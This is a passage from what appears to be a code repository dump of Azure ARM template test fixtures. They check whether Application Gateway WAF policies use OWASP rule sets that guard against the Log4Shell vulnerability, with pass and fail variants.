\"[parameters('backendIpAddressForPathRule2')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"appGatewayBackendHttpSettings\",\n            \"properties\": {\n              \"Port\": 80,\n              \"Protocol\": \"Http\",\n              \"CookieBasedAffinity\": \"Disabled\"\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"appGatewayHttpListener\",\n            \"properties\": {\n              \"FrontendIPConfiguration\": {\n                \"Id\":  \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations',variables('applicationGatewayName'), 'appGatewayFrontendPublicIP')]\"\n              },\n              \"FrontendPort\": {\n                \"Id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts',variables('applicationGatewayName'), 'appGatewayFrontendPort80')]\"\n              },\n              \"Protocol\": \"Http\"\n            }\n          }\n        ],\n        \"urlPathMaps\": [\n          {\n            \"name\": \"urlPathMap1\",\n            \"properties\": {\n              \"defaultBackendAddressPool\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools',variables('applicationGatewayName'), 'appGatewayBackendPoolDefault')]\"\n              },\n              \"defaultBackendHttpSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection',variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]\"\n              },\n              \"pathRules\": [\n                {\n                  \"name\": \"pathRule1\",\n                  \"properties\": {\n                    \"paths\": [\n                      \"[parameters('pathMatch1')]\"\n                    ],\n                    \"backendAddressPool\": {\n                      \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools',variables('applicationGatewayName'), 'appGatewayBackendPool1')]\"\n                    },\n                    \"backendHttpSettings\": {\n                      \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection',variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]\"\n                    }\n                  }\n                },\n                {\n                  \"name\": \"pathRule2\",\n                  \"properties\": {\n                    \"paths\": [\n                      \"[parameters('pathMatch2')]\"\n                    ],\n                    \"backendAddressPool\": {\n                      \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools',variables('applicationGatewayName'), 'appGatewayBackendPool2')]\"\n                    },\n                    \"backendHttpSettings\": {\n                      \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection',variables('applicationGatewayName'), 'appGatewayBackendHttpSettings')]\"\n                    }\n                  }\n                }\n              ]\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"Name\": \"rule1\",\n            \"properties\": {\n              \"RuleType\": \"PathBasedRouting\",\n              \"httpListener\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners',variables('applicationGatewayName'), 'appGatewayHttpListener')]\"\n              },\n              \"urlPathMap\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/urlPathMaps',variables('applicationGatewayName'), 'urlPathMap1')]\"\n              }\n            }\n          }\n        ]\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/empty_disabled_rules_pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.15.31.15270\",\n      \"templateHash\": \"7253194970749033988\"\n    }\n  },\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username for the backend servers\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for the admin account on the backend servers\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_B2ms\",\n      \"metadata\": {\n        \"description\": \"Size of the virtual machine.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"virtualMachines_myVM_name\": \"myVM\",\n    \"virtualNetworks_myVNet_name\": \"myVNet\",\n    \"myNic_name\": \"net-int\",\n    \"ipconfig_name\": \"ipconfig\",\n    \"publicIPAddress_name\": \"public_ip\",\n    \"nsg_name\": \"vm-nsg\",\n    \"applicationGateways_myAppGateway_name\": \"myAppGateway\",\n    \"vnet_prefix\": \"10.0.0.0/16\",\n    \"ag_subnet_prefix\": \"10.0.0.0/24\",\n    \"backend_subnet_prefix\": \"10.0.1.0/24\",\n    \"AppGW_AppFW_Pol_name\": \"WafPol01\"\n  },\n  \"resources\": [\n\n    {\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[variables('applicationGateways_myAppGateway_name')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"WAF_v2\",\n          \"tier\": \"WAF_v2\",\n          \"capacity\": 2\n        },\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGwPublicFrontendIp\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"port_80\",\n            \"properties\": {\n              \"port\": 80\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"myBackendPool\",\n            \"properties\": {}\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"myHTTPSetting\",\n            \"properties\": {\n              \"port\": 80,\n              \"protocol\": \"Http\",\n              \"cookieBasedAffinity\": \"Disabled\",\n              \"pickHostNameFromBackendAddress\": false,\n              \"requestTimeout\": 20\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"myListener\",\n            \"properties\": {\n              \"firewallPolicy\": {\n                \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n              },\n              \"frontendIPConfiguration\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]\"\n              },\n              \"frontendPort\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]\"\n              },\n              \"protocol\": \"Http\",\n              \"requireServerNameIndication\": false\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"name\": \"myRoutingRule\",\n            \"properties\": {\n              \"ruleType\": \"Basic\",\n              \"priority\": 10,\n              \"httpListener\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]\"\n              }\n            }\n          }\n        ],\n        \"enableHttp2\": false,\n        \"firewallPolicy\": {\n          \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"publicIPAddress\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"empty_disabled_rules_pass\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"customRules\": [\n          {\n            \"name\": \"CustRule01\",\n            \"priority\": 100,\n            \"ruleType\": \"MatchRule\",\n            \"action\": \"Block\",\n            \"matchConditions\": [\n              {\n                \"matchVariables\": [\n                  {\n                    \"variableName\": \"RemoteAddr\"\n                  }\n                ],\n                \"operator\": \"IPMatch\",\n                \"negationConditon\": true,\n                \"matchValues\": [\n                  \"10.10.10.0/24\"\n                ]\n              }\n            ]\n          }\n        ],\n        \"policySettings\": {\n          \"requestBodyCheck\": true,\n          \"maxRequestBodySizeInKb\": 128,\n          \"fileUploadLimitInMb\": 100,\n          \"state\": \"Enabled\",\n          \"mode\": \"Prevention\"\n        },\n        \"managedRules\": {\n         \"managedRuleSets\": [\n            {\n              \"ruleGroupOverrides\": [\n            {\n              \"ruleGroupName\": \"REQUEST-944-APPLICATION-ATTACK-JAVA\"\n            }\n          ],\n              \"ruleSetType\": \"OWASP\",\n              \"ruleSetVersion\": \"3.1\"\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"copy\": {\n        \"name\": \"myNic\",\n        \"count\": \"[length(range(0, 2))]\"\n      },\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]\"\n              },\n              \"primary\": true,\n              \"privateIPAddressVersion\": \"IPv4\",\n              \"applicationGatewayBackendAddressPools\": [\n                {\n                  \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"enableAcceleratedNetworking\": false,\n        \"enableIPForwarding\": false,\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"nsg\",\n        \"publicIPAddress\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/owasp_3_0_fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.15.31.15270\",\n      \"templateHash\": \"7253194970749033988\"\n    }\n  },\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username for the backend servers\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for the admin account on the backend servers\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_B2ms\",\n      \"metadata\": {\n        \"description\": \"Size of the virtual machine.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"virtualMachines_myVM_name\": \"myVM\",\n    \"virtualNetworks_myVNet_name\": \"myVNet\",\n    \"myNic_name\": \"net-int\",\n    \"ipconfig_name\": \"ipconfig\",\n    \"publicIPAddress_name\": \"public_ip\",\n    \"nsg_name\": \"vm-nsg\",\n    \"applicationGateways_myAppGateway_name\": \"myAppGateway\",\n    \"vnet_prefix\": \"10.0.0.0/16\",\n    \"ag_subnet_prefix\": \"10.0.0.0/24\",\n    \"backend_subnet_prefix\": \"10.0.1.0/24\",\n    \"AppGW_AppFW_Pol_name\": \"WafPol01\"\n  },\n  \"resources\": [\n\n    {\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[variables('applicationGateways_myAppGateway_name')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"WAF_v2\",\n          \"tier\": \"WAF_v2\",\n          \"capacity\": 2\n        },\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGwPublicFrontendIp\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"port_80\",\n            \"properties\": {\n              \"port\": 80\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"myBackendPool\",\n            \"properties\": {}\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"myHTTPSetting\",\n            \"properties\": {\n              \"port\": 80,\n              \"protocol\": \"Http\",\n              \"cookieBasedAffinity\": \"Disabled\",\n              \"pickHostNameFromBackendAddress\": false,\n              \"requestTimeout\": 20\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"myListener\",\n            \"properties\": {\n              \"firewallPolicy\": {\n                \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n              },\n              \"frontendIPConfiguration\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]\"\n              },\n              \"frontendPort\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]\"\n              },\n              \"protocol\": \"Http\",\n              \"requireServerNameIndication\": false\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"name\": \"myRoutingRule\",\n            \"properties\": {\n              \"ruleType\": \"Basic\",\n              \"priority\": 10,\n              \"httpListener\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]\"\n              }\n            }\n          }\n        ],\n        \"enableHttp2\": false,\n        \"firewallPolicy\": {\n          \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"publicIPAddress\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"owasp_3_0_fail\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"customRules\": [\n          {\n            \"name\": \"CustRule01\",\n            \"priority\": 100,\n            \"ruleType\": \"MatchRule\",\n            \"action\": \"Block\",\n            \"matchConditions\": [\n              {\n                \"matchVariables\": [\n                  {\n                    \"variableName\": \"RemoteAddr\"\n                  }\n                ],\n                \"operator\": \"IPMatch\",\n                \"negationConditon\": true,\n                \"matchValues\": [\n                  \"10.10.10.0/24\"\n                ]\n              }\n            ]\n          }\n        ],\n        \"policySettings\": {\n          \"requestBodyCheck\": true,\n          \"maxRequestBodySizeInKb\": 128,\n          \"fileUploadLimitInMb\": 100,\n          \"state\": \"Enabled\",\n          \"mode\": \"Prevention\"\n        },\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"OWASP\",\n              \"ruleSetVersion\": \"3.0\"\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"copy\": {\n        \"name\": \"myNic\",\n        \"count\": \"[length(range(0, 2))]\"\n      },\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]\"\n              },\n              \"primary\": true,\n              \"privateIPAddressVersion\": \"IPv4\",\n              \"applicationGatewayBackendAddressPools\": [\n                {\n                  \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"enableAcceleratedNetworking\": false,\n        \"enableIPForwarding\": false,\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"nsg\",\n        \"publicIPAddress\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/owasp_3_1_default_pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.15.31.15270\",\n      \"templateHash\": \"7253194970749033988\"\n    }\n  },\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username for the backend servers\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for the admin account on the backend servers\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_B2ms\",\n      \"metadata\": {\n        \"description\": \"Size of the virtual machine.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"virtualMachines_myVM_name\": \"myVM\",\n    \"virtualNetworks_myVNet_name\": \"myVNet\",\n    \"myNic_name\": \"net-int\",\n    \"ipconfig_name\": \"ipconfig\",\n    \"publicIPAddress_name\": \"public_ip\",\n    \"nsg_name\": \"vm-nsg\",\n    \"applicationGateways_myAppGateway_name\": \"myAppGateway\",\n    \"vnet_prefix\": \"10.0.0.0/16\",\n    \"ag_subnet_prefix\": \"10.0.0.0/24\",\n    \"backend_subnet_prefix\": \"10.0.1.0/24\",\n    \"AppGW_AppFW_Pol_name\": \"WafPol01\"\n  },\n  \"resources\": [\n\n    {\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[variables('applicationGateways_myAppGateway_name')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"sku\": {\n          \"name\": \"WAF_v2\",\n          \"tier\": \"WAF_v2\",\n          \"capacity\": 2\n        },\n        \"gatewayIPConfigurations\": [\n          {\n            \"name\": \"appGatewayIpConfig\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myAGSubnet')]\"\n              }\n            }\n          }\n        ],\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"appGwPublicFrontendIp\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}0', variables('publicIPAddress_name')))]\"\n              }\n            }\n          }\n        ],\n        \"frontendPorts\": [\n          {\n            \"name\": \"port_80\",\n            \"properties\": {\n              \"port\": 80\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"myBackendPool\",\n            \"properties\": {}\n          }\n        ],\n        \"backendHttpSettingsCollection\": [\n          {\n            \"name\": \"myHTTPSetting\",\n            \"properties\": {\n              \"port\": 80,\n              \"protocol\": \"Http\",\n              \"cookieBasedAffinity\": \"Disabled\",\n              \"pickHostNameFromBackendAddress\": false,\n              \"requestTimeout\": 20\n            }\n          }\n        ],\n        \"httpListeners\": [\n          {\n            \"name\": \"myListener\",\n            \"properties\": {\n              \"firewallPolicy\": {\n                \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n              },\n              \"frontendIPConfiguration\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendIPConfigurations', variables('applicationGateways_myAppGateway_name'), 'appGwPublicFrontendIp')]\"\n              },\n              \"frontendPort\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/frontendPorts', variables('applicationGateways_myAppGateway_name'), 'port_80')]\"\n              },\n              \"protocol\": \"Http\",\n              \"requireServerNameIndication\": false\n            }\n          }\n        ],\n        \"requestRoutingRules\": [\n          {\n            \"name\": \"myRoutingRule\",\n            \"properties\": {\n              \"ruleType\": \"Basic\",\n              \"priority\": 10,\n              \"httpListener\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/httpListeners', variables('applicationGateways_myAppGateway_name'), 'myListener')]\"\n              },\n              \"backendAddressPool\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n              },\n              \"backendHttpSettings\": {\n                \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendHttpSettingsCollection', variables('applicationGateways_myAppGateway_name'), 'myHTTPSetting')]\"\n              }\n            }\n          }\n        ],\n        \"enableHttp2\": false,\n        \"firewallPolicy\": {\n          \"id\": \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies', variables('AppGW_AppFW_Pol_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"publicIPAddress\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"owasp_3_1_default_pass\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"customRules\": [\n          {\n            \"name\": \"CustRule01\",\n            \"priority\": 100,\n            \"ruleType\": \"MatchRule\",\n            \"action\": \"Block\",\n            \"matchConditions\": [\n              {\n                \"matchVariables\": [\n                  {\n                    \"variableName\": \"RemoteAddr\"\n                  }\n                ],\n                \"operator\": \"IPMatch\",\n                \"negationConditon\": true,\n                \"matchValues\": [\n                  \"10.10.10.0/24\"\n                ]\n              }\n            ]\n          }\n        ],\n        \"policySettings\": {\n          \"requestBodyCheck\": true,\n          \"maxRequestBodySizeInKb\": 128,\n          \"fileUploadLimitInMb\": 100,\n          \"state\": \"Enabled\",\n          \"mode\": \"Prevention\"\n        },\n        \"managedRules\": {\n          \"managedRuleSets\": [\n            {\n              \"ruleSetType\": \"OWASP\",\n              \"ruleSetVersion\": \"3.1\"\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"copy\": {\n        \"name\": \"myNic\",\n        \"count\": \"[length(range(0, 2))]\"\n      },\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": \"[format('{0}{1}', variables('myNic_name'), add(range(0, 2)[copyIndex()], 1))]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"[format('{0}{1}', variables('ipconfig_name'), add(range(0, 2)[copyIndex()], 1))]\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses', format('{0}{1}', variables('publicIPAddress_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworks_myVNet_name'), 'myBackendSubnet')]\"\n              },\n              \"primary\": true,\n              \"privateIPAddressVersion\": \"IPv4\",\n              \"applicationGatewayBackendAddressPools\": [\n                {\n                  \"id\": \"[resourceId('Microsoft.Network/applicationGateways/backendAddressPools', variables('applicationGateways_myAppGateway_name'), 'myBackendPool')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"enableAcceleratedNetworking\": false,\n        \"enableIPForwarding\": false,\n        \"networkSecurityGroup\": {\n          \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', format('{0}{1}', variables('nsg_name'), add(range(0, 2)[copyIndex()], 1)))]\"\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/applicationGateways', variables('applicationGateways_myAppGateway_name'))]\",\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('virtualNetworks_myVNet_name'))]\",\n        \"nsg\",\n        \"publicIPAddress\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppGatewayWAFACLCVE202144228/owasp_3_1_disabled_different_pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.15.31.15270\",\n      \"templateHash\": \"7253194970749033988\"\n    }\n  },\n  \"parameters\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username for the backend servers\"\n      }\n    },\n    \"adminPassword\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Password for the admin account on the backend servers\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_B2ms\",\n      \"metadata\": {\n        \"description\": \"Size of the virtual machine.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"virtualMachines_myVM_name\": \"myVM\",\n    \"virtualNetworks_myVNet_name\": \"myVNet\",\n    \"myNic_name\": \"net-int\",\n    \"ipconfig_name\": \"ipconfig\",\n    \"publicIPAddress_name\": \"public_ip\",\n    \"nsg_name\": \"vm-nsg\",\n    \"applicationGateways_myAppGateway_name\": \"myAppGateway\",\n    \"vnet_prefix\": \"10.0.0.0/16\",\n    \"ag_subnet_prefix\": \"10.0.0.0/24\",\n    \"backend_subnet_prefix\": \"10.0.1.0/24\",\n    \"AppGW_AppFW_Pol_name\": \"WafPol01\"\n  },\n  \"resources\": [\n\n\n    {\n      \"type\": \"Microsoft.Network/applicationGateways\",\n      \"apiVersion\": \"2021-08-01\",\n      \"name\": 